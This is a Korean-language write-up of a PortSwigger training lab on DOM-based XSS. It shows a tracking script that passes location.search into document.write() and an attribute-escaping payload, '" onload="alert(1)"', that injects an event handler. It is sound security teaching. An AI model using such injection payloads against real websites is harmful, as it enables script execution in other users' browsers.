[Write-Up] PortSwigger - DOM XSS in Document.write Sink Using Source Location.search

목차


문제 분석

난이도: APPRENTICE
Lab: DOM XSS in document.write sink using source location.search

image.png

검색어 추적 기능이 location.search에서 가져온 값을 document.write()로 페이지에 출력한다. URL로 제어할 수 있는 값이 HTML을 생성하는 sink까지 전달되는 흐름을 이용해 alert() 함수를 호출하면 문제가 해결된다.

DOM XSS 진단

페이지의 검색어 추적 코드는 다음과 같다.

<script>
  function trackSearch(query) {
      document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
  }
  var query = (new URLSearchParams(window.location.search)).get('search');
  if (query) {
      trackSearch(query);
  }
</script>

search 파라미터에 xss를 전달하면 브라우저가 생성한 DOM은 다음과 같다.

<img src="/resources/images/tracker.gif?searchTerms=xss">

입력값은 img 요소의 큰따옴표로 감싼 src 속성 내부에 들어간다. 따라서 "로 기존 속성 값을 닫으면 같은 요소에 새로운 이벤트 핸들러를 추가하거나 요소 전체를 탈출할 수 있다.


익스플로잇

다음 페이로드로 src 값을 닫고 onload 이벤트 핸들러를 추가한다.

" onload="alert(1)"

최종적으로 document.write()가 생성하는 요소는 다음과 같은 형태가 된다.

<img src="/resources/images/tracker.gif?searchTerms=" onload="alert(1)"">

image.png

추적 이미지가 로드되면 주입한 onload 핸들러가 실행되어 문제가 해결된다.

image.png


정리

DOM XSS를 진단할 때는 입력값이 응답 원문에 보이는지만 확인해서는 부족하다. 이 랩에서는 URL의 location.search가 source이고, HTML 문자열을 직접 쓰는 document.write()가 sink다. 같은 sink라도 입력이 태그 본문인지 속성 값인지에 따라 필요한 탈출 문자가 달라지므로 최종 DOM 컨텍스트를 먼저 확인해야 한다.